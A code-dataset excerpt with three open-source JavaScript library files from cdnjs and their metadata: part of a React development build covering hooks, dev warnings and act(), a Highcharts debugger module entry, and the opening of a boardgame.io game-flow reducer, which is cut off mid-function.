function useRef(initialValue) {
var dispatcher = resolveDispatcher();
return dispatcher.useRef(initialValue);
}
function useEffect(create, deps) {
var dispatcher = resolveDispatcher();
return dispatcher.useEffect(create, deps);
}
function useLayoutEffect(create, deps) {
var dispatcher = resolveDispatcher();
return dispatcher.useLayoutEffect(create, deps);
}
function useCallback(callback, deps) {
var dispatcher = resolveDispatcher();
return dispatcher.useCallback(callback, deps);
}
function useMemo(create, deps) {
var dispatcher = resolveDispatcher();
return dispatcher.useMemo(create, deps);
}
function useImperativeHandle(ref, create, deps) {
var dispatcher = resolveDispatcher();
return dispatcher.useImperativeHandle(ref, create, deps);
}
function useDebugValue(value, formatterFn) {
{
var dispatcher = resolveDispatcher();
return dispatcher.useDebugValue(value, formatterFn);
}
}
function useTransition() {
var dispatcher = resolveDispatcher();
return dispatcher.useTransition();
}
function useDeferredValue(value) {
var dispatcher = resolveDispatcher();
return dispatcher.useDeferredValue(value);
}
function useOpaqueIdentifier() {
var dispatcher = resolveDispatcher();
return dispatcher.useOpaqueIdentifier();
}
// Helpers to patch console.logs to avoid logging during side-effect free
// replaying on render function. This currently only patches the object
// lazily which won't cover if the log function was extracted eagerly.
// We could also eagerly patch the method.
var disabledDepth = 0;
var prevLog;
var prevInfo;
var prevWarn;
var prevError;
var prevGroup;
var prevGroupCollapsed;
var prevGroupEnd;
function disabledLog() {}
disabledLog.__reactDisabledLog = true;
function disableLogs() {
{
if (disabledDepth === 0) {
/* eslint-disable react-internal/no-production-logging */
prevLog = console.log;
prevInfo = console.info;
prevWarn = console.warn;
prevError = console.error;
prevGroup = console.group;
prevGroupCollapsed = console.groupCollapsed;
prevGroupEnd = console.groupEnd; // https://github.com/facebook/react/issues/19099
var props = {
configurable: true,
enumerable: true,
value: disabledLog,
writable: true
}; // $FlowFixMe Flow thinks console is immutable.
Object.defineProperties(console, {
info: props,
log: props,
warn: props,
error: props,
group: props,
groupCollapsed: props,
groupEnd: props
});
/* eslint-enable react-internal/no-production-logging */
}
disabledDepth++;
}
}
function reenableLogs() {
{
disabledDepth--;
if (disabledDepth === 0) {
/* eslint-disable react-internal/no-production-logging */
var props = {
configurable: true,
enumerable: true,
writable: true
}; // $FlowFixMe Flow thinks console is immutable.
Object.defineProperties(console, {
log: _assign({}, props, {
value: prevLog
}),
info: _assign({}, props, {
value: prevInfo
}),
warn: _assign({}, props, {
value: prevWarn
}),
error: _assign({}, props, {
value: prevError
}),
group: _assign({}, props, {
value: prevGroup
}),
groupCollapsed: _assign({}, props, {
value: prevGroupCollapsed
}),
groupEnd: _assign({}, props, {
value: prevGroupEnd
})
});
/* eslint-enable react-internal/no-production-logging */
}
if (disabledDepth < 0) {
error('disabledDepth fell below zero. ' + 'This is a bug in React. Please file an issue.');
}
}
}
var ReactCurrentDispatcher$1 = ReactSharedInternals.ReactCurrentDispatcher;
var prefix;
function describeBuiltInComponentFrame(name, source, ownerFn) {
{
if (prefix === undefined) {
// Extract the VM specific prefix used by each line.
try {
throw Error();
} catch (x) {
var match = x.stack.trim().match(/\n( *(at )?)/);
prefix = match && match[1] || '';
}
} // We use the prefix to ensure our stacks line up with native stack frames.
return '\n' + prefix + name;
}
}
var reentry = false;
var componentFrameCache;
{
var PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;
componentFrameCache = new PossiblyWeakMap();
}
function describeNativeComponentFrame(fn, construct) {
// If something asked for a stack inside a fake render, it should get ignored.
if ( !fn || reentry) {
return '';
}
{
var frame = componentFrameCache.get(fn);
if (frame !== undefined) {
return frame;
}
}
var control;
reentry = true;
var previousPrepareStackTrace = Error.prepareStackTrace; // $FlowFixMe It does accept undefined.
Error.prepareStackTrace = undefined;
var previousDispatcher;
{
previousDispatcher = ReactCurrentDispatcher$1.current; // Set the dispatcher in DEV because this might be call in the render function
// for warnings.
ReactCurrentDispatcher$1.current = null;
disableLogs();
}
try {
// This should throw.
if (construct) {
// Something should be setting the props in the constructor.
var Fake = function () {
throw Error();
}; // $FlowFixMe
Object.defineProperty(Fake.prototype, 'props', {
set: function () {
// We use a throwing setter instead of frozen or non-writable props
// because that won't throw in a non-strict mode function.
throw Error();
}
});
if (typeof Reflect === 'object' && Reflect.construct) {
// We construct a different control for this case to include any extra
// frames added by the construct call.
try {
Reflect.construct(Fake, []);
} catch (x) {
control = x;
}
Reflect.construct(fn, [], Fake);
} else {
try {
Fake.call();
} catch (x) {
control = x;
}
fn.call(Fake.prototype);
}
} else {
try {
throw Error();
} catch (x) {
control = x;
}
fn();
}
} catch (sample) {
// This is inlined manually because closure doesn't do it for us.
if (sample && control && typeof sample.stack === 'string') {
// This extracts the first frame from the sample that isn't also in the control.
// Skipping one frame that we assume is the frame that calls the two.
var sampleLines = sample.stack.split('\n');
var controlLines = control.stack.split('\n');
var s = sampleLines.length - 1;
var c = controlLines.length - 1;
while (s >= 1 && c >= 0 && sampleLines[s] !== controlLines[c]) {
// We expect at least one stack frame to be shared.
// Typically this will be the root most one. However, stack frames may be
// cut off due to maximum stack limits. In this case, one maybe cut off
// earlier than the other. We assume that the sample is longer or the same
// and there for cut off earlier. So we should find the root most frame in
// the sample somewhere in the control.
c--;
}
for (; s >= 1 && c >= 0; s--, c--) {
// Next we find the first one that isn't the same which should be the
// frame that called our sample function and the control.
if (sampleLines[s] !== controlLines[c]) {
// In V8, the first line is describing the message but other VMs don't.
// If we're about to return the first line, and the control is also on the same
// line, that's a pretty good indicator that our sample threw at same line as
// the control. I.e. before we entered the sample frame. So we ignore this result.
// This can happen if you passed a class to function component, or non-function.
if (s !== 1 || c !== 1) {
do {
s--;
c--; // We may still have similar intermediate frames from the construct call.
// The next one that isn't the same should be our match though.
if (c < 0 || sampleLines[s] !== controlLines[c]) {
// V8 adds a "new" prefix for native classes. Let's remove it to make it prettier.
var _frame = '\n' + sampleLines[s].replace(' at new ', ' at ');
{
if (typeof fn === 'function') {
componentFrameCache.set(fn, _frame);
}
} // Return the line we found.
return _frame;
}
} while (s >= 1 && c >= 0);
}
break;
}
}
}
} finally {
reentry = false;
{
ReactCurrentDispatcher$1.current = previousDispatcher;
reenableLogs();
}
Error.prepareStackTrace = previousPrepareStackTrace;
} // Fallback to just using the name if we couldn't make it throw.
var name = fn ? fn.displayName || fn.name : '';
var syntheticFrame = name ? describeBuiltInComponentFrame(name) : '';
{
if (typeof fn === 'function') {
componentFrameCache.set(fn, syntheticFrame);
}
}
return syntheticFrame;
}
function describeFunctionComponentFrame(fn, source, ownerFn) {
{
return describeNativeComponentFrame(fn, false);
}
}
function shouldConstruct(Component) {
var prototype = Component.prototype;
return !!(prototype && prototype.isReactComponent);
}
function describeUnknownElementTypeFrameInDEV(type, source, ownerFn) {
if (type == null) {
return '';
}
if (typeof type === 'function') {
{
return describeNativeComponentFrame(type, shouldConstruct(type));
}
}
if (typeof type === 'string') {
return describeBuiltInComponentFrame(type);
}
switch (type) {
case exports.Suspense:
return describeBuiltInComponentFrame('Suspense');
case exports.SuspenseList:
return describeBuiltInComponentFrame('SuspenseList');
}
if (typeof type === 'object') {
switch (type.$$typeof) {
case REACT_FORWARD_REF_TYPE:
return describeFunctionComponentFrame(type.render);
case REACT_MEMO_TYPE:
// Memo may contain any component type so we recursively resolve it.
return describeUnknownElementTypeFrameInDEV(type.type, source, ownerFn);
case REACT_LAZY_TYPE:
{
var lazyComponent = type;
var payload = lazyComponent._payload;
var init = lazyComponent._init;
try {
// Lazy may contain any component type so we recursively resolve it.
return describeUnknownElementTypeFrameInDEV(init(payload), source, ownerFn);
} catch (x) {}
}
}
}
return '';
}
var loggedTypeFailures = {};
var ReactDebugCurrentFrame$1 = ReactSharedInternals.ReactDebugCurrentFrame;
function setCurrentlyValidatingElement(element) {
{
if (element) {
var owner = element._owner;
var stack = describeUnknownElementTypeFrameInDEV(element.type, element._source, owner ? owner.type : null);
ReactDebugCurrentFrame$1.setExtraStackFrame(stack);
} else {
ReactDebugCurrentFrame$1.setExtraStackFrame(null);
}
}
}
function checkPropTypes(typeSpecs, values, location, componentName, element) {
{
// $FlowFixMe This is okay but Flow doesn't know it.
var has = Function.call.bind(hasOwnProperty);
for (var typeSpecName in typeSpecs) {
if (has(typeSpecs, typeSpecName)) {
var error$1 = void 0; // Prop type validation may throw. In case they do, we don't want to
// fail the render phase where it didn't fail before. So we log it.
// After these have been cleaned up, we'll let them throw.
try {
// This is intentionally an invariant that gets caught. It's the same
// behavior as without this statement except with a better message.
if (typeof typeSpecs[typeSpecName] !== 'function') {
var err = Error((componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' + 'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.' + 'This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.');
err.name = 'Invariant Violation';
throw err;
}
error$1 = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED');
} catch (ex) {
error$1 = ex;
}
if (error$1 && !(error$1 instanceof Error)) {
setCurrentlyValidatingElement(element);
error('%s: type specification of %s' + ' `%s` is invalid; the type checker ' + 'function must return `null` or an `Error` but returned a %s. ' + 'You may have forgotten to pass an argument to the type checker ' + 'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' + 'shape all require an argument).', componentName || 'React class', location, typeSpecName, typeof error$1);
setCurrentlyValidatingElement(null);
}
if (error$1 instanceof Error && !(error$1.message in loggedTypeFailures)) {
// Only monitor this failure once because there tends to be a lot of the
// same error.
loggedTypeFailures[error$1.message] = true;
setCurrentlyValidatingElement(element);
error('Failed %s type: %s', location, error$1.message);
setCurrentlyValidatingElement(null);
}
}
}
}
}
function setCurrentlyValidatingElement$1(element) {
{
if (element) {
var owner = element._owner;
var stack = describeUnknownElementTypeFrameInDEV(element.type, element._source, owner ? owner.type : null);
setExtraStackFrame(stack);
} else {
setExtraStackFrame(null);
}
}
}
var propTypesMisspellWarningShown;
{
propTypesMisspellWarningShown = false;
}
function getDeclarationErrorAddendum() {
if (ReactCurrentOwner.current) {
var name = getComponentNameFromType(ReactCurrentOwner.current.type);
if (name) {
return '\n\nCheck the render method of `' + name + '`.';
}
}
return '';
}
function getSourceInfoErrorAddendum(source) {
if (source !== undefined) {
var fileName = source.fileName.replace(/^.*[\\\/]/, '');
var lineNumber = source.lineNumber;
return '\n\nCheck your code at ' + fileName + ':' + lineNumber + '.';
}
return '';
}
function getSourceInfoErrorAddendumForProps(elementProps) {
if (elementProps !== null && elementProps !== undefined) {
return getSourceInfoErrorAddendum(elementProps.__source);
}
return '';
}
/**
* Warn if there's no key explicitly set on dynamic arrays of children or
* object keys are not valid. This allows us to keep track of children between
* updates.
*/
var ownerHasKeyUseWarning = {};
function getCurrentComponentErrorInfo(parentType) {
var info = getDeclarationErrorAddendum();
if (!info) {
var parentName = typeof parentType === 'string' ? parentType : parentType.displayName || parentType.name;
if (parentName) {
info = "\n\nCheck the top-level render call using <" + parentName + ">.";
}
}
return info;
}
/**
* Warn if the element doesn't have an explicit key assigned to it.
* This element is in an array. The array could grow and shrink or be
* reordered. All children that haven't already been validated are required to
* have a "key" property assigned to it. Error statuses are cached so a warning
* will only be shown once.
*
* @internal
* @param {ReactElement} element Element that requires a key.
* @param {*} parentType element's parent's type.
*/
function validateExplicitKey(element, parentType) {
if (!element._store || element._store.validated || element.key != null) {
return;
}
element._store.validated = true;
var currentComponentErrorInfo = getCurrentComponentErrorInfo(parentType);
if (ownerHasKeyUseWarning[currentComponentErrorInfo]) {
return;
}
ownerHasKeyUseWarning[currentComponentErrorInfo] = true; // Usually the current owner is the offender, but if it accepts children as a
// property, it may be the creator of the child that's responsible for
// assigning it a key.
var childOwner = '';
if (element && element._owner && element._owner !== ReactCurrentOwner.current) {
// Give the component that originally created this child.
childOwner = " It was passed a child from " + getComponentNameFromType(element._owner.type) + ".";
}
{
setCurrentlyValidatingElement$1(element);
error('Each child in a list should have a unique "key" prop.' + '%s%s See https://reactjs.org/link/warning-keys for more information.', currentComponentErrorInfo, childOwner);
setCurrentlyValidatingElement$1(null);
}
}
/**
* Ensure that every element either is passed in a static location, in an
* array with an explicit keys property defined, or in an object literal
* with valid key property.
*
* @internal
* @param {ReactNode} node Statically passed child of any type.
* @param {*} parentType node's parent's type.
*/
function validateChildKeys(node, parentType) {
if (typeof node !== 'object') {
return;
}
if (isArray(node)) {
for (var i = 0; i < node.length; i++) {
var child = node[i];
if (isValidElement(child)) {
validateExplicitKey(child, parentType);
}
}
} else if (isValidElement(node)) {
// This element was passed in a valid location.
if (node._store) {
node._store.validated = true;
}
} else if (node) {
var iteratorFn = getIteratorFn(node);
if (typeof iteratorFn === 'function') {
// Entry iterators used to provide implicit keys,
// but now we print a separate warning for them later.
if (iteratorFn !== node.entries) {
var iterator = iteratorFn.call(node);
var step;
while (!(step = iterator.next()).done) {
if (isValidElement(step.value)) {
validateExplicitKey(step.value, parentType);
}
}
}
}
}
}
/**
* Given an element, validate that its props follow the propTypes definition,
* provided by the type.
*
* @param {ReactElement} element
*/
function validatePropTypes(element) {
{
var type = element.type;
if (type === null || type === undefined || typeof type === 'string') {
return;
}
var propTypes;
if (typeof type === 'function') {
propTypes = type.propTypes;
} else if (typeof type === 'object' && (type.$$typeof === REACT_FORWARD_REF_TYPE || // Note: Memo only checks outer props here.
// Inner props are checked in the reconciler.
type.$$typeof === REACT_MEMO_TYPE)) {
propTypes = type.propTypes;
} else {
return;
}
if (propTypes) {
// Intentionally inside to avoid triggering lazy initializers:
var name = getComponentNameFromType(type);
checkPropTypes(propTypes, element.props, 'prop', name, element);
} else if (type.PropTypes !== undefined && !propTypesMisspellWarningShown) {
propTypesMisspellWarningShown = true; // Intentionally inside to avoid triggering lazy initializers:
var _name = getComponentNameFromType(type);
error('Component %s declared `PropTypes` instead of `propTypes`. Did you misspell the property assignment?', _name || 'Unknown');
}
if (typeof type.getDefaultProps === 'function' && !type.getDefaultProps.isReactClassApproved) {
error('getDefaultProps is only used on classic React.createClass ' + 'definitions. Use a static property named `defaultProps` instead.');
}
}
}
/**
* Given a fragment, validate that it can only be provided with fragment props
* @param {ReactElement} fragment
*/
function validateFragmentProps(fragment) {
{
var keys = Object.keys(fragment.props);
for (var i = 0; i < keys.length; i++) {
var key = keys[i];
if (key !== 'children' && key !== 'key') {
setCurrentlyValidatingElement$1(fragment);
error('Invalid prop `%s` supplied to `React.Fragment`. ' + 'React.Fragment can only have `key` and `children` props.', key);
setCurrentlyValidatingElement$1(null);
break;
}
}
if (fragment.ref !== null) {
setCurrentlyValidatingElement$1(fragment);
error('Invalid attribute `ref` supplied to `React.Fragment`.');
setCurrentlyValidatingElement$1(null);
}
}
}
function createElementWithValidation(type, props, children) {
var validType = isValidElementType(type); // We warn in this case but don't throw. We expect the element creation to
// succeed and there will likely be errors in render.
if (!validType) {
var info = '';
if (type === undefined || typeof type === 'object' && type !== null && Object.keys(type).length === 0) {
info += ' You likely forgot to export your component from the file ' + "it's defined in, or you might have mixed up default and named imports.";
}
var sourceInfo = getSourceInfoErrorAddendumForProps(props);
if (sourceInfo) {
info += sourceInfo;
} else {
info += getDeclarationErrorAddendum();
}
var typeString;
if (type === null) {
typeString = 'null';
} else if (isArray(type)) {
typeString = 'array';
} else if (type !== undefined && type.$$typeof === REACT_ELEMENT_TYPE) {
typeString = "<" + (getComponentNameFromType(type.type) || 'Unknown') + " />";
info = ' Did you accidentally export a JSX literal instead of a component?';
} else {
typeString = typeof type;
}
{
error('React.createElement: type is invalid -- expected a string (for ' + 'built-in components) or a class/function (for composite ' + 'components) but got: %s.%s', typeString, info);
}
}
var element = createElement.apply(this, arguments); // The result can be nullish if a mock or a custom function is used.
// TODO: Drop this when these are no longer allowed as the type argument.
if (element == null) {
return element;
} // Skip key warning if the type isn't valid since our key validation logic
// doesn't expect a non-string/function type and can throw confusing errors.
// We don't want exception behavior to differ between dev and prod.
// (Rendering will throw with a helpful message and as soon as the type is
// fixed, the key warnings will appear.)
if (validType) {
for (var i = 2; i < arguments.length; i++) {
validateChildKeys(arguments[i], type);
}
}
if (type === exports.Fragment) {
validateFragmentProps(element);
} else {
validatePropTypes(element);
}
return element;
}
var didWarnAboutDeprecatedCreateFactory = false;
function createFactoryWithValidation(type) {
var validatedFactory = createElementWithValidation.bind(null, type);
validatedFactory.type = type;
{
if (!didWarnAboutDeprecatedCreateFactory) {
didWarnAboutDeprecatedCreateFactory = true;
warn('React.createFactory() is deprecated and will be removed in ' + 'a future major release. Consider using JSX ' + 'or use React.createElement() directly instead.');
} // Legacy hook: remove it
Object.defineProperty(validatedFactory, 'type', {
enumerable: false,
get: function () {
warn('Factory.type is deprecated. Access the class directly ' + 'before passing it to createFactory.');
Object.defineProperty(this, 'type', {
value: type
});
return type;
}
});
}
return validatedFactory;
}
function cloneElementWithValidation(element, props, children) {
var newElement = cloneElement.apply(this, arguments);
for (var i = 2; i < arguments.length; i++) {
validateChildKeys(arguments[i], newElement.type);
}
validatePropTypes(newElement);
return newElement;
}
function startTransition(scope) {
var prevTransition = ReactCurrentBatchConfig.transition;
ReactCurrentBatchConfig.transition = 1;
try {
scope();
} finally {
ReactCurrentBatchConfig.transition = prevTransition;
{
if (prevTransition !== 1 && warnOnSubscriptionInsideStartTransition && ReactCurrentBatchConfig._updatedFibers) {
var updatedFibersCount = ReactCurrentBatchConfig._updatedFibers.size;
if (updatedFibersCount > 10) {
warn('Detected a large number of updates inside startTransition. ' + 'If this is due to a subscription please re-write it to use React provided hooks. ' + 'Otherwise concurrent mode guarantees are off the table.');
}
ReactCurrentBatchConfig._updatedFibers.clear();
}
}
}
}
var didWarnAboutMessageChannel = false;
var enqueueTaskImpl = null;
function enqueueTask(task) {
if (enqueueTaskImpl === null) {
try {
// read require off the module object to get around the bundlers.
// we don't want them to detect a require and bundle a Node polyfill.
var requireString = ('require' + Math.random()).slice(0, 7);
var nodeRequire = module && module[requireString]; // assuming we're in node, let's try to get node's
// version of setImmediate, bypassing fake timers if any.
enqueueTaskImpl = nodeRequire.call(module, 'timers').setImmediate;
} catch (_err) {
// we're in a browser
// we can't use regular timers because they may still be faked
// so we try MessageChannel+postMessage instead
enqueueTaskImpl = function (callback) {
{
if (didWarnAboutMessageChannel === false) {
didWarnAboutMessageChannel = true;
if (typeof MessageChannel === 'undefined') {
error('This browser does not have a MessageChannel implementation, ' + 'so enqueuing tasks via await act(async () => ...) will fail. ' + 'Please file an issue at https://github.com/facebook/react/issues ' + 'if you encounter this warning.');
}
}
}
var channel = new MessageChannel();
channel.port1.onmessage = callback;
channel.port2.postMessage(undefined);
};
}
}
return enqueueTaskImpl(task);
}
var actScopeDepth = 0;
var didWarnNoAwaitAct = false;
function act(callback) {
{
// `act` calls can be nested, so we track the depth. This represents the
// number of `act` scopes on the stack.
var prevActScopeDepth = actScopeDepth;
actScopeDepth++;
if (ReactCurrentActQueue.current === null) {
// This is the outermost `act` scope. Initialize the queue. The reconciler
// will detect the queue and use it instead of Scheduler.
ReactCurrentActQueue.current = [];
}
var prevIsBatchingLegacy = ReactCurrentActQueue.isBatchingLegacy;
var result;
try {
// Used to reproduce behavior of `batchedUpdates` in legacy mode. Only
// set to `true` while the given callback is executed, not for updates
// triggered during an async event, because this is how the legacy
// implementation of `act` behaved.
ReactCurrentActQueue.isBatchingLegacy = true;
result = callback(); // Replicate behavior of original `act` implementation in legacy mode,
// which flushed updates immediately after the scope function exits, even
// if it's an async function.
if (!prevIsBatchingLegacy && ReactCurrentActQueue.didScheduleLegacyUpdate) {
var queue = ReactCurrentActQueue.current;
if (queue !== null) {
ReactCurrentActQueue.didScheduleLegacyUpdate = false;
flushActQueue(queue);
}
}
} catch (error) {
popActScope(prevActScopeDepth);
throw error;
} finally {
ReactCurrentActQueue.isBatchingLegacy = prevIsBatchingLegacy;
}
if (result !== null && typeof result === 'object' && typeof result.then === 'function') {
var thenableResult = result; // The callback is an async function (i.e. returned a promise). Wait
// for it to resolve before exiting the current scope.
var wasAwaited = false;
var thenable = {
then: function (resolve, reject) {
wasAwaited = true;
thenableResult.then(function (returnValue) {
popActScope(prevActScopeDepth);
if (actScopeDepth === 0) {
// We've exited the outermost act scope. Recursively flush the
// queue until there's no remaining work.
recursivelyFlushAsyncActWork(returnValue, resolve, reject);
} else {
resolve(returnValue);
}
}, function (error) {
// The callback threw an error.
popActScope(prevActScopeDepth);
reject(error);
});
}
};
{
if (!didWarnNoAwaitAct && typeof Promise !== 'undefined') {
// eslint-disable-next-line no-undef
Promise.resolve().then(function () {}).then(function () {
if (!wasAwaited) {
didWarnNoAwaitAct = true;
error('You called act(async () => ...) without await. ' + 'This could lead to unexpected testing behaviour, ' + 'interleaving multiple act calls and mixing their ' + 'scopes. ' + 'You should - await act(async () => ...);');
}
});
}
}
return thenable;
} else {
var returnValue = result; // The callback is not an async function. Exit the current scope
// immediately, without awaiting.
popActScope(prevActScopeDepth);
if (actScopeDepth === 0) {
// Exiting the outermost act scope. Flush the queue.
var _queue = ReactCurrentActQueue.current;
if (_queue !== null) {
flushActQueue(_queue);
ReactCurrentActQueue.current = null;
} // Return a thenable. If the user awaits it, we'll flush again in
// case additional work was scheduled by a microtask.
var _thenable = {
then: function (resolve, reject) {
// Confirm we haven't re-entered another `act` scope, in case
// the user does something weird like await the thenable
// multiple times.
if (ReactCurrentActQueue.current === null) {
// Recursively flush the queue until there's no remaining work.
ReactCurrentActQueue.current = [];
recursivelyFlushAsyncActWork(returnValue, resolve, reject);
} else {
resolve(returnValue);
}
}
};
return _thenable;
} else {
// Since we're inside a nested `act` scope, the returned thenable
// immediately resolves. The outer scope will flush the queue.
var _thenable2 = {
then: function (resolve, reject) {
resolve(returnValue);
}
};
return _thenable2;
}
}
}
}
function popActScope(prevActScopeDepth) {
{
if (prevActScopeDepth !== actScopeDepth - 1) {
error('You seem to have overlapping act() calls, this is not supported. ' + 'Be sure to await previous act() calls before making a new one. ');
}
actScopeDepth = prevActScopeDepth;
}
}
function recursivelyFlushAsyncActWork(returnValue, resolve, reject) {
{
var queue = ReactCurrentActQueue.current;
if (queue !== null) {
try {
flushActQueue(queue);
enqueueTask(function () {
if (queue.length === 0) {
// No additional work was scheduled. Finish.
ReactCurrentActQueue.current = null;
resolve(returnValue);
} else {
// Keep flushing work until there's none left.
recursivelyFlushAsyncActWork(returnValue, resolve, reject);
}
});
} catch (error) {
reject(error);
}
} else {
resolve(returnValue);
}
}
}
var isFlushing = false;
function flushActQueue(queue) {
{
if (!isFlushing) {
// Prevent re-entrance.
isFlushing = true;
var i = 0;
try {
for (; i < queue.length; i++) {
var callback = queue[i];
do {
callback = callback(true);
} while (callback !== null);
}
queue.length = 0;
} catch (error) {
// If something throws, leave the remaining callbacks on the queue.
queue = queue.slice(i + 1);
throw error;
} finally {
isFlushing = false;
}
}
}
}
var createElement$1 = createElementWithValidation ;
var cloneElement$1 = cloneElementWithValidation ;
var createFactory = createFactoryWithValidation ;
var Children = {
map: mapChildren,
forEach: forEachChildren,
count: countChildren,
toArray: toArray,
only: onlyChild
};
exports.Children = Children;
exports.Component = Component;
exports.PureComponent = PureComponent;
exports.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED = ReactSharedInternals;
exports.cloneElement = cloneElement$1;
exports.createContext = createContext;
exports.createElement = createElement$1;
exports.createFactory = createFactory;
exports.createRef = createRef;
exports.forwardRef = forwardRef;
exports.isValidElement = isValidElement;
exports.lazy = lazy;
exports.memo = memo;
exports.startTransition = startTransition;
exports.unstable_act = act;
exports.unstable_useOpaqueIdentifier = useOpaqueIdentifier;
exports.useCallback = useCallback;
exports.useContext = useContext;
exports.useDebugValue = useDebugValue;
exports.useDeferredValue = useDeferredValue;
exports.useEffect = useEffect;
exports.useImperativeHandle = useImperativeHandle;
exports.useLayoutEffect = useLayoutEffect;
exports.useMemo = useMemo;
exports.useReducer = useReducer;
exports.useRef = useRef;
exports.useState = useState;
exports.useTransition = useTransition;
exports.version = ReactVersion;
})();
}
|
mit
|
cdnjs/cdnjs
|
ajax/libs/highcharts/9.2.1/es-modules/masters/modules/debugger.src.js
|
440
|
/**
* @license Highcharts JS v9.2.1 (2021-08-19)
* @module highcharts/modules/debugger
* @requires highcharts
*
* Debugger module
*
* (c) 2012-2021 Torstein Honsi
*
* License: www.highcharts.com/license
*/
'use strict';
import Highcharts from '../../Core/Globals.js';
import ErrorMessages from '../../Extensions/Debugger/ErrorMessages.js';
Highcharts.errorMessages = ErrorMessages;
import '../../Extensions/Debugger/Debugger.js';
|
mit
|
cdnjs/cdnjs
|
ajax/libs/boardgame-io/0.47.10/esm/reducer-ac0d57b2.js
|
44813
|
import { e as error, G as GameMethod, E as EnhanceCtx, T as TurnOrder, S as Stage, a as SetActivePlayers, i as info, F as FnWrap, I as InitTurnOrderState, U as UpdateTurnOrderState, b as UpdateActivePlayersOnceEmpty, g as gameEvent, P as PATCH, c as PLUGIN, d as ProcessAction, R as REDO, f as UNDO, h as SYNC, j as UPDATE, k as RESET, M as MAKE_MOVE, l as Enhance, m as INVALID_MOVE, N as NoClient, n as GAME_EVENT, o as STRIP_TRANSIENTS, p as FlushAndValidate, q as stripTransients } from './turn-order-5ed45dd0.js';
import { applyPatch } from 'rfc6902';
/*
* Copyright 2017 The boardgame.io Authors
*
* Use of this source code is governed by a MIT-style
* license that can be found in the LICENSE file or at
* https://opensource.org/licenses/MIT.
*/
/**
* Flow
*
* Creates a reducer that updates ctx (analogous to how moves update G).
*/
function Flow({ moves, phases, endIf, onEnd, turn, events, plugins, }) {
// Attach defaults.
if (moves === undefined) {
moves = {};
}
if (events === undefined) {
events = {};
}
if (plugins === undefined) {
plugins = [];
}
if (phases === undefined) {
phases = {};
}
if (!endIf)
endIf = () => undefined;
if (!onEnd)
onEnd = (G) => G;
if (!turn)
turn = {};
const phaseMap = { ...phases };
if ('' in phaseMap) {
error('cannot specify phase with empty name');
}
phaseMap[''] = {};
const moveMap = {};
const moveNames = new Set();
let startingPhase = null;
Object.keys(moves).forEach((name) => moveNames.add(name));
const HookWrapper = (hook, hookType) => {
const withPlugins = FnWrap(hook, hookType, plugins);
return (state) => {
const ctxWithAPI = EnhanceCtx(state);
return withPlugins(state.G, ctxWithAPI);
};
};
const TriggerWrapper = (trigger) => {
return (state) => {
const ctxWithAPI = EnhanceCtx(state);
return trigger(state.G, ctxWithAPI);
};
};
const wrapped = {
onEnd: HookWrapper(onEnd, GameMethod.GAME_ON_END),
endIf: TriggerWrapper(endIf),
};
for (const phase in phaseMap) {
const phaseConfig = phaseMap[phase];
if (phaseConfig.start === true) {
startingPhase = phase;
}
if (phaseConfig.moves !== undefined) {
for (const move of Object.keys(phaseConfig.moves)) {
moveMap[phase + '.' + move] = phaseConfig.moves[move];
moveNames.add(move);
}
}
if (phaseConfig.endIf === undefined) {
phaseConfig.endIf = () => undefined;
}
if (phaseConfig.onBegin === undefined) {
phaseConfig.onBegin = (G) => G;
}
if (phaseConfig.onEnd === undefined) {
phaseConfig.onEnd = (G) => G;
}
if (phaseConfig.turn === undefined) {
phaseConfig.turn = turn;
}
if (phaseConfig.turn.order === undefined) {
phaseConfig.turn.order = TurnOrder.DEFAULT;
}
if (phaseConfig.turn.onBegin === undefined) {
phaseConfig.turn.onBegin = (G) => G;
}
if (phaseConfig.turn.onEnd === undefined) {
phaseConfig.turn.onEnd = (G) => G;
}
if (phaseConfig.turn.endIf === undefined) {
phaseConfig.turn.endIf = () => false;
}
if (phaseConfig.turn.onMove === undefined) {
phaseConfig.turn.onMove = (G) => G;
}
if (phaseConfig.turn.stages === undefined) {
phaseConfig.turn.stages = {};
}
for (const stage in phaseConfig.turn.stages) {
const stageConfig = phaseConfig.turn.stages[stage];
const moves = stageConfig.moves || {};
for (const move of Object.keys(moves)) {
const key = phase + '.' + stage + '.' + move;
moveMap[key] = moves[move];
moveNames.add(move);
}
}
phaseConfig.wrapped = {
onBegin: HookWrapper(phaseConfig.onBegin, GameMethod.PHASE_ON_BEGIN),
onEnd: HookWrapper(phaseConfig.onEnd, GameMethod.PHASE_ON_END),
endIf: TriggerWrapper(phaseConfig.endIf),
};
phaseConfig.turn.wrapped = {
onMove: HookWrapper(phaseConfig.turn.onMove, GameMethod.TURN_ON_MOVE),
onBegin: HookWrapper(phaseConfig.turn.onBegin, GameMethod.TURN_ON_BEGIN),
onEnd: HookWrapper(phaseConfig.turn.onEnd, GameMethod.TURN_ON_END),
endIf: TriggerWrapper(phaseConfig.turn.endIf),
};
if (typeof phaseConfig.next !== 'function') {
const { next } = phaseConfig;
phaseConfig.next = () => next || null;
}
phaseConfig.wrapped.next = TriggerWrapper(phaseConfig.next);
}
function GetPhase(ctx) {
return ctx.phase ? phaseMap[ctx.phase] : phaseMap[''];
}
function OnMove(s) {
return s;
}
function Process(state, events) {
const phasesEnded = new Set();
const turnsEnded = new Set();
for (let i = 0; i < events.length; i++) {
const { fn, arg, ...rest } = events[i];
// Detect a loop of EndPhase calls.
// This could potentially even be an infinite loop
// if the endIf condition of each phase blindly
// returns true. The moment we detect a single
// loop, we just bail out of all phases.
if (fn === EndPhase) {
turnsEnded.clear();
const phase = state.ctx.phase;
if (phasesEnded.has(phase)) {
const ctx = { ...state.ctx, phase: null };
return { ...state, ctx };
}
phasesEnded.add(phase);
}
// Process event.
const next = [];
state = fn(state, {
...rest,
arg,
next,
});
if (fn === EndGame) {
break;
}
// Check if we should end the game.
const shouldEndGame = ShouldEndGame(state);
if (shouldEndGame) {
events.push({
fn: EndGame,
arg: shouldEndGame,
turn: state.ctx.turn,
phase: state.ctx.phase,
automatic: true,
});
continue;
}
// Check if we should end the phase.
const shouldEndPhase = ShouldEndPhase(state);
if (shouldEndPhase) {
events.push({
fn: EndPhase,
